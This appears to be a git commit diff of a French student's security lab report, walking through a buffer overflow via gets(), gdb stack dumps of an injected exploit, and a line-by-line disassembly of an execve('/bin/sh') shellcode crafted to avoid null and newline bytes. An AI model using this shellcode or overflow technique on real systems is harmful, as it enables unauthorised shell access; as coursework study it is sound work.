Work on question 3 and 4

This commit is contained in:
Yorick Barbanneau 2023-03-30 01:20:03 +02:00
parent 2a4a11be20
commit d58645151a

View file

@ -16,11 +16,19 @@ notre boucle reviens à départ; une boucle infinie se produit alors. C'est la
conséquence du *buffer overflow* causée par une mauvaise maitrise des boucles et
variables associées.
En effet en prenant en compte le 0 comme index de tableau, la boucle `for (i=0;
i<=N; i++)` itère 12 fois et non 11. La condition devrait être `i<N`
## Partie 2
### question 1 et 2
Effectivement le code vu en cours est repris dans cet exemple. Nous sommes
Le code d'`anodin` contient l'appel à `gets`. Cette fonction est déconseillée
car elle ne prend pas en paramètres **le nombre d'octets maximal à lire**. Il
est ainsi aiser de réaliser une attaque par **dépassement de tampon**:
L'utilisateur saisie plus de donnée que la taille de la variable qui les reçoit.
Pour `exploit`, le code vu en cours est repris dans cet exemple. Nous sommes
cependant en présence de code *C* avec du code assembleur directement écrit en
*hexadécimal*.
@ -29,9 +37,7 @@ présence d'une macro afin de positionner les instructions adaptée dans la
variable `exploit`:
```c
unsigned char exploit[1024] = {
#ifdef __x86_64__
/* 64 bit version */
// [...]
@ -47,7 +53,7 @@ unsigned char exploit[1024] = {
### question 4
Lors de l'execution de notre attache en l'observant avec gdb, nous pouvons
Lors de l'execution de notre attaque en l'observant avec gdb, nous pouvons
clairement les éléments de notre attaque : les éléments de la pile contenant les
adresses vers notre *shellcode*, les padding avec des `nop` et le *shellcode*.
@ -128,7 +134,7 @@ mettent alors en places.
0x7fffffffe480 0x0000000000000003
```
Voici les éléments de notre `exploit` qui se retrouvent dans la pile, les
diférentes parties sont délimitées par des crochets:
différentes parties sont délimitées par des crochets:
```
0x7fffffffe4b8 0x[050f] e6894857e289 ; 4
0x7fffffffe4b0 0x48006a000000 [3b] c0 ; 3
@ -144,9 +150,10 @@ diférentes parties sont délimitées par des crochets:
Lors de l'instruction pas à pas du code assembleur, nous pouvons observer la
mise en place des arguments de notre appel système dans les différents
registres, notamment *0x3b* dans `rax`.
registres, notamment *0x3b* dans `rax` et le chemin complets vers `sh` depuis
la pile vers `%rdi`
## question 3
## Partie 3
Lors de l'exécution du `strace` sur notre exécutable `shellcode` nous voyons
bien apparaitre les deux appels systèmes `creat` et `exit`:
@ -193,3 +200,86 @@ par `objdump`. Et en plus on évite les erreurs de saisie.
Après l'incorporation de notre *shellcode* dans le fichier `exploit-test.c`, sa
compilation et son execution, le fichier `/tmp/pwn` est bien créé.
## Partie 4
Voici le code assembleur obtenu d'après les opcodes:
```asm
xor %eax,%eax
movabs $0xff978cd091969dd1,%rbx
neg %rbx
push %rbx
push %rsp
pop %rdi
cltd
push %rdx
push %rdi
push %rsp
pop %rsi
mov $0x3b,%al
syscall
```
Notre shellcode commence par initialiser `%eax` à 0 en faisant un `xor` - *ou
exclusif* sur lui-même. Plus il place `$0xff978cd091969dd1` sans `%rbx`. Ceci
est en fait une chaine de caractère qui sera dévoilée lors de la prochaine
instruction.
Celle ci est en fait `/bin/sh` suivi de `/0` donnée par `neg %rbx`.
Cette instrution réalise un complément à deux sur le registre en paramètre.
`%rbx` est ensuite poussé sur la pile tout comme notre pointeur de pile.
Le contenu pointé par le pointeur de pile (l'adresse de notre chaine)
est passé au registre `%rdi` et la pile remonte d'un cran (`pop`).
Le mnémonique `cltd` transforme étends le bit de poid fort d'`%eax` dans `%edx`.
Il est question ici d'initialiser `%edx` à 0.
`%rdx` est ensuite poussé sur la pile, puis `%rdi` et notre pointeur de pile.
Voici d'ailleur à quoi ressemble cette dernière:
```
[...]
0x7fffffffe538 0x0068732f6e69622f
0x7fffffffe530 0x0000000000000000
0x7fffffffe528 0x00007fffffffe538
0x7fffffffe520 sp 0x00007fffffffe528
[...]
```
Enfin `0x3b` est positionné dans `al` (appel système `execve`) et notre appel
est lance avec `syscall`. voici l'état des registres au moment de notre
`syscall` :
```
rax 0x3b 59
rbx 0x68732f6e69622f 29400045130965551
rcx 0x0 0
rdx 0x0 0
rsi 0x7fffffffe528 140737488348456
rdi 0x7fffffffe538 140737488348472
rbp 0x0 0x0
rsp 0x7fffffffe528 0x7fffffffe528
```
Et l'état de notre pile :
```
[...]
0x7fffffffe548 0x00007fffffffe87d
0x7fffffffe540 0x0000000000000001
0x7fffffffe538 0x0068732f6e69622f
0x7fffffffe530 0x0000000000000000
0x7fffffffe528 sp 0x00007fffffffe538
0x7fffffffe520 0x00007fffffffe528
[...]
```
Notre shellcode lance donc `/bin/sh`. Comme défini dans l'ABI Linux, notre appel
système utilise `%rdi` comme premier paramètre, celui-ci contient l'adresse de
`/bin/sh` sur la pile. Le second paramètre, un pointeur vers le tableau des
arguments d'`execve` est contenu dans `%rsi`. Le dernier argument est passé par
`%rdx` : 0.
Dasn ce shellcode, tout est fait pour ne pas avoir de caractère `/0` et `/n`
afin de passer `gets` et `strcpy`.